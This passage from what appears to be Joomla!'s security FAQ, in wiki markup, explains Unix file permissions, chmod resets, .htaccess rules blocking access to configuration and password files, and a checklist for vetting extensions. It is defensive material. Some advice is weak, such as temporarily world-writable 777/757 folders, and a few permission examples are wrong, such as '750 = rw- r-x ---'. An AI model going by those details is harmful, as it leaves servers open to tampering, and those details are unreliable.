The first entry is the name of the file, the next entry is your username on the server, the second entry is the group that you are a member of and the last entry is the permissions assigned to that this file (or directory). If you notice, I have intentionally spaced out the permissions section, I have grouped the 9 characters into 3 sets of 3. This separation is key to how the permissions system works. The first set of 3 permissions (rwx) relate to the username seen above, the second set of 3 permissions (r-x) relate to the usergroup seen above and the final set of 3 permissions (r-x) relate to anyone else who is not associated with the username or groupname.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Owner (User) relates to username&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Owner (User) is normally you, these permissions will be enforced on your hosting account name.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Group relates to usergroup&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Group permissions will be enforced on other people that are in the same group as you, within a hosting environment, there is very rarely other people in the same group as you. This protects your files and directories from being made available to anybody else who may also have a hosting account on the same server as you.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Other relates to everyone else&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Other permissions, these will be enforced on anybody else on the server that is either not you or not in your group. So in a Web Serving environment, remembering that no-one else is normally in your group, then this is everybody else accessing the server except for you. Each of the three sets of permissions are defined in the following manner;&lt;br /&gt;
&lt;br /&gt;
 r = Read permissions&lt;br /&gt;
 w = Write permissions&lt;br /&gt;
 x = Execute permissions&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
&lt;br /&gt;
As many of you already know, permissions are normally expressed as a numeric value, something like 755 or 644. so, how does this relate to what we have discussed above? Each character of the permissions are assigned a numeric value, this is assigned in each set of three, so we only need to use three values and reuse them for each set.&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
 4 2 1 4 2 1 4 2 1&lt;br /&gt;
&lt;br /&gt;
Now that we have a value that represents each permission, we can express them in numeric terms. The values are simply added together in the respective sets of 3, which will in turn give us just three numbers that will tell us what permissions are being set. If we are told that a file has the permissions of 777, this would mean that the following was true.&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
 4 2 1 4 2 1 4 2 1&lt;br /&gt;
&lt;br /&gt;
Thus...&lt;br /&gt;
&lt;br /&gt;
   4+2+1 4+2+1 4+2+1&lt;br /&gt;
 =   7     7     7&lt;br /&gt;
&lt;br /&gt;
The Owner of the file would have full Read, Write and Execute permissions, the group would also have full Read, Write and Execute permissions, and the rest of the world can also Read, Write and Execute the file. The standard, default permissions that get assigned to files and directories by the server are normally;&lt;br /&gt;
&lt;br /&gt;
 Files = 644&lt;br /&gt;
 Directories = 755&lt;br /&gt;
&lt;br /&gt;
These permissions would allow, for files;&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r--&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has Read only&lt;br /&gt;
&lt;br /&gt;
and for directories;&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute only&lt;br /&gt;
 Other has Read and Execute only&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, things can get a little complicated when we start talking about shared Web Servers, the Web Server software will be running with its own username and groupname, most servers are configured for them to use either &amp;quot;apache&amp;quot; and &amp;quot;apache&amp;quot; or &amp;quot;nobody&amp;quot; and &amp;quot;nobody&amp;quot; as username and groupname. Here is the problem. Your Web Server runs as its own user, and this user is not you or in your group, so the first two sets of permissions do not apply to it. Only the world (other) permissions apply. Therefore, if you configure a permissions set similar to 640 on your website files, your Web Server will not be able to run your website files.&lt;br /&gt;
&lt;br /&gt;
 640 = rw- r-- ---&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has no rights&lt;br /&gt;
&lt;br /&gt;
The Web server is assigned no permissions at all and cannot Execute, Write or more importantly, even Read the file to delivery its content to a website visitors browser. If a directory was to be assigned 750 permissions, this would have the same effect, because the WebServer does not even have permissions to read files in the directory, even if the files inside that directory had favorable permissions.&lt;br /&gt;
&lt;br /&gt;
 750 = rw- r-x ---&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has no rights&lt;br /&gt;
&lt;br /&gt;
Directories have an extra quirk, if a directory does not have the Execute permission set in the World set then even if Read and Write are set, if the program is not run as the user or group, it will still not be able to access the files within the directory. The Execute setting allows the program to &amp;quot;Execute&amp;quot; commands in the directory, so without it being on the program(in our case a Web Server) cannot execute the &amp;quot;Read&amp;quot; command, thus cannot deliver your file to the users web browser.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;How Does this Relate to Joomla?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Good question, well in the first instance this would be important during the Web-Installer process.&lt;br /&gt;
If you can remember back to when you ran the Joomla! Web-Installer, we were looking for specific directories to be designated as writable. We see quite a numbers of posts either stating that there were problems during the install with permissions or asking what permissions are recommended. Some even consider the message, asking for &amp;quot;Writable&amp;quot; permissions to be too vague.&lt;br /&gt;
&lt;br /&gt;
Unfortunately, as the Web-Installer does not know how your server is configured, then it cannot be more specific, however, once you understand the permissions settings and you know a little about Web Serving environments, you will actually find that the term &#039;&#039;writable&#039;&#039; is actually very specific and a more than adequate description of what Joomla! needs. Thinking back to the above information, you may remember that there are three places where &#039;&#039;write&#039;&#039; permissions maybe set;&lt;br /&gt;
&lt;br /&gt;
 Owner Writable&lt;br /&gt;
 Group Writable&lt;br /&gt;
 Other Writable&lt;br /&gt;
&lt;br /&gt;
Also remembering that the Web Server generally doesn&#039;t run as your own user or in the same group. When you run the Web Installer from a browser, it is the Web Server trying to access the files, thus it is the &amp;quot;Other&amp;quot; permissions that will apply to it. If the &amp;quot;Other&amp;quot; permissions do not allow the Web Server to Read, Write or Execute commands in the Joomla! directories, you will receive the message saying that the directories are not &#039;&#039;writable&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
In this case, you will need to configure the Other permissions to be &amp;quot;7&amp;quot; on the directories listed in the Web Installer.&lt;br /&gt;
So your total permissions might be something like 757, in the worse case you might need to set 777. These very open permissions&lt;br /&gt;
maybe reset back to 755 after the installer runs to assist in the security of your directories and files.&lt;br /&gt;
&lt;br /&gt;
 757 = rwx r-x rwx&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has Read, Write and Execute&lt;br /&gt;
&lt;br /&gt;
Just to make things even more confusing, many hosting firms make use of software called phpsuExec or suExec, these tools change the way the Web Server runs, where the Web Server would not normally run as your username, in this case, it does. The use of the &#039;&#039;other&#039;&#039; permissions, may not be required, now you may only need to configure directories to be &#039;&#039;writable&#039;&#039; to your own username and groupname, this allows directory permissions to be set as 755 or 775 instead of 757 or 777.&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has Read and Execute&lt;br /&gt;
&lt;br /&gt;
 775 = rwx rwx r-x &lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read, Write and Execute&lt;br /&gt;
 Other has Read and Execute&lt;br /&gt;
&lt;br /&gt;
The Web Server will still need to Execute set for the username and Read, Execute groupname permissions set so that it can Execute the Read command on files inside the directory. Again, these permissions may be demoted back to 755 after the Web Installer completes. Thats the basics for directories covered, what about files? This is where things get a little simpler. Most of the files that Joomla! makes use of will be quite happy with the 644 default permissions.&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r-- &lt;br /&gt;
 Owner has Read, Write&lt;br /&gt;
 Group has Read&lt;br /&gt;
 Other has Read&lt;br /&gt;
&lt;br /&gt;
This is valid if you do not have a need to Write to the files from the Web Server, the same rules apply as for directories if you do have this need. One file that you may like to have &amp;quot;Writable&amp;quot; to the Web Server is your configuration.php file. This is the Joomla! configuration file, if you plan on changing configuration through the Web Admin interface, then this file will need to be Writable to the Web Server.&lt;br /&gt;
&lt;br /&gt;
If your server needed directory permissions to be set to &amp;quot;Other&amp;quot; Writable for the install then this file will probably also need to be 757 or 777. Leaving this file as 757 or 777 is dangerous though, as you are letting everyone have &amp;quot;Write&amp;quot; access, many Web Site exploits take advantage of this fact, so in general it is not recommended to leave this file with these permissions.&lt;br /&gt;
&lt;br /&gt;
If your Web Server has one of the SU tools installed and you only needed to configure 755 on directories for the installation, then you will probably also only need to set 755 or 775 on this file to allow editing through the Admin interface, and these permissions are generally accepted as more secure than 757 or 777.&lt;br /&gt;
&lt;br /&gt;
In conclusion, what permissions should be set for the Joomla! installation? Well, as you can see, it depends!&lt;br /&gt;
&lt;br /&gt;
I know this isn&#039;t as helpful as you would have liked and it certainly is not a definitive answer, but in general, after the installation, any insecure &amp;quot;7&amp;quot; settings can be reset back to something more secure. For example: &lt;br /&gt;
 Files = 644&lt;br /&gt;
 Directories = 755&lt;br /&gt;
&lt;br /&gt;
These permissions would allow, for files;&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r--&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has Read only&lt;br /&gt;
&lt;br /&gt;
and for directories,&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x &lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute only&lt;br /&gt;
 Other has Read and Execute only&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you have SSH shell access the following commands can be run from the command line to reset all files and directories back to the server defaults of 755 and 644. Change directories to the top directory (&amp;quot; / &amp;quot;) of your Joomla! installation, then run: &lt;br /&gt;
&lt;br /&gt;
 find . -type f -exec chmod 644 {} \;&lt;br /&gt;
 find . -type d -exec chmod 755 {} \;&lt;br /&gt;
&lt;br /&gt;
If you only have FTP access, this can be a very time consuming job, however, unless you changed more directories during the installation that was requested, you should only need to reset about 10 directories and the &#039;&#039;configuration.php&#039;&#039; file.&lt;br /&gt;
&lt;br /&gt;
Keep in mind that to install any extensions or templates after the actual Joomla! installation you may need to elevate the default permissions again on the appropriate directories just for the installation period, you may then demote them again after the add-on is installed.&lt;br /&gt;
&lt;br /&gt;
If you decide to use &#039;&#039;caching&#039;&#039; the cache directory will need to be &#039;&#039;writable&#039;&#039; by the Web server user to allow it to write its temporary files.&lt;br /&gt;
&lt;br /&gt;
==What are the recommended file and directory permissions?==&lt;br /&gt;
&lt;br /&gt;
Depending on the security configuration of your Web server the recommended default permissions of 755 for directories and 644 for files should be reasonably secure.&lt;br /&gt;
&lt;br /&gt;
==How can I avoid using chmod 0777 to enable installs?==&lt;br /&gt;
&lt;br /&gt;
On a private server with a small, controlled set of users, there is no need to use a chmod 777 to make the Joomla! folders writable in order to perform installs. You can set the server up so that both Apache and FTP have control of site files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Edit the Apache user.conf file and tell apache to run under the FTP account.&lt;br /&gt;
# chmod the entire site to 644 or 744. Apache should be able to run just fine that way.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Optional&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# chgrp the entire web space to the FTP group so that only those with FTP access can write to the server.&lt;br /&gt;
# chmod the entire web space to 764 or 664 will be possible giving other users write access as well&lt;br /&gt;
&lt;br /&gt;
==Isn&#039;t locating all Joomla! files inside public_html a security risk?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Short answer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Potentially, yes. Your site can be secure, but you must be careful and vigilant.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Long answer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
A common security principle is to create various security levels and then grant access at each level only as required. On UNIX servers this is done by setting the user, group, and world permissions on directories and files.&lt;br /&gt;
&lt;br /&gt;
Typically, the most insecure directory on a UNIX server is the one serving Web files, usually called public_html. This is because it is publicly accessible, world-readable, and in the case of a CMS-powered site, possibly even world-writable. That status is the very definition of officially, totally, and utterly insecure.&lt;br /&gt;
&lt;br /&gt;
As long as you want the entire world to view your public_html directory there is no problem. After all, that&#039;s exactly what it&#039;s designed to do. But if you want to hide anything, the plot thickens. If public_html contains configuration files with secret data, or scripts that write to databases, or scripts that modify other files, or scripts that append to logs, or scripts that store temporary data in caches, or scripts that support file and graphic uploads, or scripts that process form input, or scripts that process financial and personal data, this read-only directory becomes a world-accessible, read-write application.&lt;br /&gt;
&lt;br /&gt;
If there are ANY vulnerabilities in ANY files in the public_html directory, the entire server is potentially vulnerable, and not just your Web site but possibly every Web site on your server. Such vulnerabilities give attackers access to the scripting engines used to run your site. PHP, Perl and other Web scripting languages are powerful and easy to use. If programming vulnerabilities allow an attacker to call arbitrary commands, your entire server could be toast.&lt;br /&gt;
&lt;br /&gt;
One good way to block attackers, is to keep potential vulnerabilities behind a secure fence. For this reason, it is often recommended to only place files that require direct access from the Web in public_html. Other files should be loaded into applications using such functions as include and require. To access such files, attackers must first penetrate your server, such as by discovering a root username/password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The incredible lightness of living outside the fence&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
To provide incredibly easy installation, Joomla! follows a different security model. It is possible to perform a complete Joomla! installation using nothing more than a Web browser pointed at the world-readable installation directory. An additional level of security is provided by requiring that you remove this installation directory after completing the install.&lt;br /&gt;
&lt;br /&gt;
Granting a world-accessible installer the ability to write to files outside of public_html would be a huge security hole. Thus, by default every Joomla! file ends up in the world-accessible public_html directory. Not coincidentally, this is also the directory in which an angry planetful of would-be attackers are hoping to find your files.&lt;br /&gt;
&lt;br /&gt;
Currently, most Joomla extensions also have limited support for file locations outside of public_html. This is a legacy of the Joomla! 1.0.x installation model.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! defense&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Despite it&#039;s apparently vulnerable location, Joomla! uses various effective methods for blocking exploits. Chief among them is to add a line of code at the top of any PHP file that requires extra protection. This method is very effective as long as each and every file requiring such protection, has it. One vulnerable file exposes the whole site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The challenge&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The practice of placing everything in public_html, and then building a little fence inside each file can become an administrative nightmare. One vulnerable file exposes the entire server. This is a glaring example of an allow, then deny security model.&lt;br /&gt;
&lt;br /&gt;
This model requires very careful upgrades, constant log reviews, and proactive plugging of new vulnerabilities as soon as they become known. (Since you have to beat the attackers, you&#039;ll be in a hurry, and may inadvertently do something stupid, potentially creating other vulnerabilities.)&lt;br /&gt;
&lt;br /&gt;
During installations and upgrades, you must verify (or trust someone else to verify) every line of code, of every new file, for every known vulnerability. And because scripts can have unintended consequences on each other, you cannot forget to test, test, test. Of course this is generally true for all software, but placing the entire application in public_html makes the issue extremely critical.&lt;br /&gt;
&lt;br /&gt;
The recent wave of URL injection attacks against poorly-written third party extensions would have been much less successful if those files had been stored outside of public_html, and thus simply unavailable through URLs. Note that in many cases the actual vulnerabilities could still exist within the files, but being inside the fence (outside of public_html) they would not be exposed to URL injections.&lt;br /&gt;
&lt;br /&gt;
 To (Deny, then Allow), or (Allow, then Deny)?&lt;br /&gt;
&lt;br /&gt;
The real problem with the above &amp;quot;all known&amp;quot; qualifier is that it is an allow, then deny model. In other words, we first give everyone access to every file and then deny access to specific files by adding a line of code.&lt;br /&gt;
&lt;br /&gt;
Consider the logic for a password authentication script. We have essentially two choices:&lt;br /&gt;
# First allow all access, then deny any username/password combination that DOES NOT match the approved list.&lt;br /&gt;
# First deny all access, then allow any username/password combination that DOES match the approved list.&lt;br /&gt;
&lt;br /&gt;
Obviously the second method is better. A passing familiarity with regular expressions shows that the first method is much more difficult to write securely. It fails anew each time a new variation of some attack is developed, and tends to require constant revisions. Over time, such revisions become so complex that the authentication system itself becomes a source of vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
Conceptually, the second method is an example of building a strong fence around your site (deny), and then granting access using a limited and well-defined set of criteria (then allow). If the script fails, the most likely result is that someone who should have access is blocked. That may be highly inconvenient, but it&#039;s not usually a security breach.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The good news&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# In Joomla! 1.0.x, some extensions, and the Joomla! framework, give you the option of locating critical directories outside of public_html after you have completed the installation. Whenever possible you should do this.&lt;br /&gt;
# Joomla! 1.5 goes far in the right direction. It provides several new constants for specifying the location of particularly sensitive directories, including configuration, administrator, libraries, and installation. &lt;br /&gt;
# Joomla! 1.5 is able to run as an FTP account. This provides another method for protecting files on a file by file and directory by directory basis.&lt;br /&gt;
&lt;br /&gt;
==How do I adjust Joomla 1.5 defines {{JVer|1.5}}==&lt;br /&gt;
&lt;br /&gt;
There are two defines files that will generally need to be edited.  /includes/defines.php file is for the front end and /administrator/includes/defines.php is for the Joomla administrator end. Below is the relevant code.&lt;br /&gt;
&lt;br /&gt;
 define( &#039;JPATH_ROOT&#039; , implode( DS, $parts ) );&lt;br /&gt;
 define( &#039;JPATH_SITE&#039; , JPATH_ROOT );&lt;br /&gt;
 define( &#039;JPATH_CONFIGURATION&#039;, JPATH_ROOT );&lt;br /&gt;
 define( &#039;JPATH_ADMINISTRATOR&#039;, JPATH_ROOT . DS . &#039;administrator&#039; );&lt;br /&gt;
 define( &#039;JPATH_LIBRARIES&#039; , JPATH_ROOT . DS . &#039;libraries&#039; );&lt;br /&gt;
 define( &#039;JPATH_INSTALLATION&#039; , JPATH_ROOT . DS . &#039;installation&#039; );&lt;br /&gt;
&lt;br /&gt;
.DS. = Directory Seperator&lt;br /&gt;
&lt;br /&gt;
==Moving sensitive files outside the web root==&lt;br /&gt;
{{:Moving sensitive files outside the web root}}&lt;br /&gt;
&lt;br /&gt;
==How do I block direct access to critical files using .htaccess?==&lt;br /&gt;
# Make a backup copy of your .htaccess file. Use your backup file to recover if the following fails. Be sure to delete the backup file once you  are finished.&lt;br /&gt;
# Add the following to your .htaccess file. This example will protect both the configurtation.php and .htaccess files.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Files .htaccess&amp;gt;&lt;br /&gt;
 order allow,deny&lt;br /&gt;
 deny from all&lt;br /&gt;
 &amp;lt;/Files&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;FilesMatch &amp;quot;configuration.php&amp;quot;&amp;gt;&lt;br /&gt;
 Order allow,deny&lt;br /&gt;
 Deny from all&lt;br /&gt;
 &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can also protect a lot of file extensions in one single rule. Exemple (the file names between &#039; &#039;&#039;&#039;(&#039;&#039;&#039; &#039; and &#039; &#039;&#039;&#039;)&#039;&#039;&#039; &#039; in this rule are the file extensions to protect ):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;FilesMatch &amp;quot;\.(htaccess|htpasswd|ini|phps|log|sh|conf)$&amp;quot;&amp;gt;&lt;br /&gt;
 Order allow,deny&lt;br /&gt;
 Deny from all&lt;br /&gt;
 &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==How do I recursively adjust file and directory permissions?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Using Joomla! Administration&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
In the Back-end, go to Site --&amp;gt; Global Configuration --&amp;gt; Server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Using the UNIX shell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; The find command automatically assumes that it should start from the current directory. To be safe, go to your public_html directory and specify a path as the first argument. Some shells, such as bash on Apple OS X, must have a path specified in the find command.&lt;br /&gt;
&lt;br /&gt;
 find . -type f -exec chmod 644 {} \;&lt;br /&gt;
 find . -type d -exec chmod 755 {} \;&lt;br /&gt;
 chmod 707 images&lt;br /&gt;
 chmod 707 images/stories&lt;br /&gt;
 chown apache:apache cache&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Notes:&#039;&#039;&#039;&lt;br /&gt;
# Test all third party extensions after changing permissions.&lt;br /&gt;
# You may need to reset write permissions to install more extensions.&lt;br /&gt;
&lt;br /&gt;
==How can I set the administrator directory to use an SSL server (https)? {{JVer|1.0}}==&lt;br /&gt;
&lt;br /&gt;
Use Joomla version 1.5 or newer&lt;br /&gt;
&lt;br /&gt;
A standard Joomla! 1.0.x installation does not support SSL for individual directories, however there are various (elegant and not so elegant) hacks posted in the forums.&lt;br /&gt;
&lt;br /&gt;
Note that earlier techniques involving the variable $mosConfig_live_site are deprecated, and will not work with current Joomla! versions due to increased security enhancements.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;More Help&#039;&#039;&#039;&lt;br /&gt;
# [http://www.netshinesoftware.com/security/using-an-ssl-certificate-with-your-joomla-website.html Netshine Software, Ltd: Using an SSL Certificate with your Joomla Website]&lt;br /&gt;
&lt;br /&gt;
==Why isn&#039;t restricting access by IP recommended?==&lt;br /&gt;
&lt;br /&gt;
Restricting site access by IP address is not particularly effective longterm as many exploits are enacted from hijacked machines or via proxies, masking the real attacker&#039;s actual IP Address. Attackers can attack from many different compromised machines. Blocking them will block the legitimate owners of that IP, but may not block the attackers.&lt;br /&gt;
&lt;br /&gt;
= Joomla! Extensions =&lt;br /&gt;
&lt;br /&gt;
==Why are there vulnerable extensions?==&lt;br /&gt;
&lt;br /&gt;
A list of currently known [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions]. &lt;br /&gt;
&lt;br /&gt;
: Anyone may write and distribute a Joomla! extension. As a service to the global community, this freedom is actively encouraged and supported by the Joomla! Core team. Due to the openness and popularity of the Joomla! project, there are a wide variety of extensions offering a vast array of features. The quality and breadth of Joomla! extensions is one of the main advantages of Joomla.&lt;br /&gt;
&lt;br /&gt;
: However this freedom comes with a price. It requires individual responsibility, and can survive only where a majority of participants act responsibly. Joomla&#039;s success has led to unwanted attention from malicious types, such as script kiddies who run simple, automated scripts in an effort to find and deface others&#039; Web sites.&lt;br /&gt;
&lt;br /&gt;
: It is important to note that, script kiddies unintentionally perform a valuable service. They help us identify vulnerable extensions and poorly configured servers that might otherwise remain open to more serious threats.&lt;br /&gt;
&lt;br /&gt;
==What is a vulnerable extension?==&lt;br /&gt;
&lt;br /&gt;
A vulnerable extension is one that has been found to contain (or contribute to) a security vulnerability.&lt;br /&gt;
&lt;br /&gt;
Vulnerable extensions are not necessarily poorly-coded. As the Web evolves, technical requirements and commonly accepted coding practices change. Active projects release new versions of their extensions as requirements change. For this reason, it is important to:&lt;br /&gt;
&lt;br /&gt;
# Know the version numbers of all installed extensions.&lt;br /&gt;
# Use only the latest stable version of all extensions.&lt;br /&gt;
# Completely remove all files of insecure or unused extensions.&lt;br /&gt;
&lt;br /&gt;
==How do I choose secure extensions?==&lt;br /&gt;
&lt;br /&gt;
: The most important thing anyone can do is make good decisions regarding the extensions they choose to use on a site. Once an insecure or malicious extension is installed you should consider your entire site compromised. There is NO POSSIBLE WAY to protect or stop a component from accessing database tables it should not be accessing. There is no possible way to stop a component from sending all of the information it found back to a cracker website. Once an insecure or malicious component is installed, your entire site is insecure.&lt;br /&gt;
&lt;br /&gt;
: With all of that said, here are some pretty easy tips for making good choices regarding the extensions you install:&lt;br /&gt;
&lt;br /&gt;
1. When was the last version released?&lt;br /&gt;
&lt;br /&gt;
: If it has been over a year, consider the project abandoned and find something else. Do not install old components.&lt;br /&gt;
&lt;br /&gt;
2. What kind of release is it? (Stable, Release Candidate (RC), Beta, Alpha)&lt;br /&gt;
&lt;br /&gt;
: For production sites you should be sticking to Stable releases as much as possible. If you cannot wait until a Stable release has been made available, Release Candidates are the only other option you should consider. I would not suggest anyone install any Beta or Alpha extensions on a production site. This means they still have bugs, they have not been tested enough, and could have any number of inconvenient bugs or security issues that have not been fixed or worse, found.&lt;br /&gt;
&lt;br /&gt;
3. Does the extension have a history of good security practices?&lt;br /&gt;
&lt;br /&gt;
: This is obviously a bit more subjective but it is still a very valid gauge of future trustworthiness. It requires a bit of investigation and research. Look around their download pages and archives, are there many security release or patches? Are there a lot of reports of cracking activity through this extension? Are the developers experienced and security conscious? What do other community members think of this extension? One example that comes to mind that has little to do with Joomla itself (which makes it a fair example) is phpBB. This script has had more security issues than I could get my head around and there routinely seems to be newly disclosed issues. Because of this, I would never use phpBB. In my opinion its is not trustworthy and there is a high probability that there will be more major security issues.&lt;br /&gt;
&lt;br /&gt;
4. Is there a support community for this extension?&lt;br /&gt;
&lt;br /&gt;
: This is very important for usability and security awareness. If there is a support community for an extension there is a better chance of security issues being known and dealt with. A support community means that people would like to continue using the extension and that they care about the extension. This furthers the chance that security issues will be found, disclosed, and dealt with promptly.&lt;br /&gt;
&lt;br /&gt;
5. Is there only a Mambo version of this extension?&lt;br /&gt;
&lt;br /&gt;
: While this does not in itself make an extension insecure but is rather a gauge of support, how recently the last realease was, and future support. There is a pretty narrow chance that Mambo components will be supported in 1.5 so save yourself the trouble and find a component made to work with Joomla. It will make your life easier.&lt;br /&gt;
&lt;br /&gt;
6. Is the extension generally bug free?&lt;br /&gt;
&lt;br /&gt;
: I hinted on this a little bit in number three but I think it is worth discussing in more depth. While it is almost impossible for an extension to be completely bug free, the smaller the number of bugs, the better. If there are bugs in the software it means there are mistakes in the software. The more mistakes, the higher risk of usability issues and security issues. Security issues are often a result of not one bug, but several bugs or bad practices. For example, the recent 3rd party vulnerabilities that allow for remote file inclusion are a result of:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Bad Practices:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Having PHP&#039;s Register Globals enabled.&lt;br /&gt;
# Using out of date or abandoned extension.&lt;br /&gt;
# No other security checks enabled for PHP. (url_fopen off, open_basedir restrictions, disabled PHP functions)&lt;br /&gt;
# Poorly configured file permissions.&lt;br /&gt;
# No request filtering or software &amp;quot;firewall&amp;quot;. (such as mod_rewrite rules or mod_security Apache modules)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Bugs:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Not including defined(&#039;_VALID_MOS&#039;) or die... statements&lt;br /&gt;
# Poorly constructed include() statements.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Although the Joomla! core is secure when configured correctly, third party extensions come in all flavors of age and quality. Unless you absolutely trust the extension developer, always review the code should before installing. The following is a list of typical areas of concern.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. How complex is the extension? &lt;br /&gt;
&lt;br /&gt;
: The larger it is, the more likely it is to have problems, and the more carefully you should review it. If you can&#039;t tell what it&#039;s doing, you should not trust it.&lt;br /&gt;
&lt;br /&gt;
2. Does the extension read or write files to your server? &lt;br /&gt;
&lt;br /&gt;
: Programs that read files may inadvertently violate access restrictions you&#039;ve set up, or pass sensitive system information to crackers. Programs that write files have the potential to modify or damage existing files, or introduce trojan horses.&lt;br /&gt;
&lt;br /&gt;
3. Does the extension interact with other programs on your system? &lt;br /&gt;
&lt;br /&gt;
: For example, many extensions send e-mail in response to a form input by opening a connection with the sendmail program. Is it doing this in a safe way?&lt;br /&gt;
&lt;br /&gt;
4. Does the extension run with suid (set-user-id) privileges? &lt;br /&gt;
&lt;br /&gt;
: In general this is very dangerous; extensions need an excellent reasons for doing this.&lt;br /&gt;
&lt;br /&gt;
5. Does the extension validate all user input, such as in form fields and in the URL?&lt;br /&gt;
&lt;br /&gt;
6. Does the extension use explicit path names when invoking external programs? &lt;br /&gt;
&lt;br /&gt;
: Relying on the PATH environment variable to resolve partial path names is a dangerous practice.&lt;br /&gt;
&lt;br /&gt;
7. Is the extension secure against direct access throught the URL? &lt;br /&gt;
&lt;br /&gt;
: For example: www.yoursite.com/components/com_bad_extension.php?lots_of_bad_code_here&lt;br /&gt;
&lt;br /&gt;
8. Is the extension secure against remote file inclusions?&lt;br /&gt;
&lt;br /&gt;
9. Is the extension secure against SQL injections?&lt;br /&gt;
&lt;br /&gt;
10. Is the extension secure against Cross Site Scripting (XSS)?&lt;br /&gt;
&lt;br /&gt;
11. Does the extension need PHP register_globals ON, or Joomla! RG Emulation ON? &lt;br /&gt;
&lt;br /&gt;
: If so, then it is probably violating number 7 above.&lt;br /&gt;
&lt;br /&gt;
12. Does the extension provide higher database access to less privileged users? &lt;br /&gt;
&lt;br /&gt;
: For example does it allow guests or registered users to view data that only publishers or administrators should be able to see?&lt;br /&gt;
&lt;br /&gt;
==Why does the Extensions site include insecure extensions?==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Joomla! Extensions site exists as a free service to the community. Anyone can post extensions there and extensions exist at all levels of quality and maturity.&lt;br /&gt;
&lt;br /&gt;
If an extension is found to contain vulnerabilities, it will be removed from the site until a safer version is released, but there is no guarantee that the vulnerabilities of every extension have been discovered or reported.&lt;br /&gt;
&lt;br /&gt;
To be safe, you must verify the security of every extension you install.&lt;br /&gt;
&lt;br /&gt;
Below is the text of the Joomla! Extensions site disclaimer. Ignore it at your peril. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Disclaimer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
